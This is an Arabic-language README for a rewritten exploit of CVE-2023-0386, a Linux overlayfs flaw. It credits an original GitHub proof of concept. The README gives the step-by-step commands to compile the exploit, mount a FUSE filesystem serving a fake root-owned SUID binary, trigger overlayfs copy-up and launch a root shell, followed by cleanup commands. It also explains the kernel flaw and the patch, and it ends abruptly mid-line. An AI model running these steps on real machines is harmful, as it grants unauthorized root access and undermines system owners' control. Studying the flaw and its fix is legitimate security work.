
نسخ ملفات مزيفة في الذاكرة إلى القرص باستخدام overlayFS
المصدر الأصلي لـ CVE بواسطة xkaneiki: https://github.com/xkaneiki/CVE-2023-0386/tree/main
أُعيدت كتابته بحيث يمكن تشغيل الاستغلال في نافذة واحدة (الاستغلال الأصلي يتطلب نافذتين).
# Compile
make all
# Create mount point for fuse filesystem
mkdir -p /tmp/fusepwn/lower
# Start fuse (which serves a SUID binary)
./fuse /tmp/fusepwn/lower
# Run exploit (which copies fuse's fake SUID binary onto disk with real SUID privs via overlayfs)
./exp
# Run shell
/tmp/fusepwn/upper/bin
التنظيف
# unmount fuse filesystem
fusermount -u /tmp/fusepwn/lower
# remove all
rm -rf /tmp/fusepwn
# unmount overlayfs (root only. not required)
umount /tmp/fusepwn/merge
findmnt لعرض أنظمة الملفات المُحملةfuse.c يُنشئ نظام ملفات FUSE مُحمَّلاً في /tmp/fusepwn/lower ويُقدّم ثنائي SUID مزيف مملوك للجذر. هذا نظام ملفات في الذاكرة، لذا يمكننا الكذب بشأن الصلاحيات المُعطاة.
ثم يقوم exp.c بإنشاء تحميل overlayfs في /tmp/fusepwn ويفتح الثنائي SUID المزيف (/tmp/fusepwn/lower/bin). عند فتحه، يُحفّز هذا overlayfs على تنفيذ عملية copy-up تكتب الثنائي SUID المزيف على القرص بصلاحيات SUID حقيقية ومملوك للجذر.
الثغرة موجودة في overlayfs حيث يثق بشكل أعمى بأي صلاحيات ملفات يُقدمها له نظام الملفات السفلي. إذا كان نظام الملفات السفلي هو النواة، فهذا مقبول (لأنه لا يمكن التلاعب به بدون صلاحيات الجذر). إذا كان نظام الملفات السفلي يمكن التلاعب به من قبل المستخدم، فهذا غير مقبول لأننا نستطيع الكذب بشأن الملفات الموجودة (كما هو الحال باستخدام FUSE).
التصحيح يتحقق مما إذا كان UID/GID للملف صالحًا ضمن فضاء أسماء المستخدم. إذا لم يكن صالحًا، فإنه يُفشل عملية copy-up.
أي:
proc/self/uid_map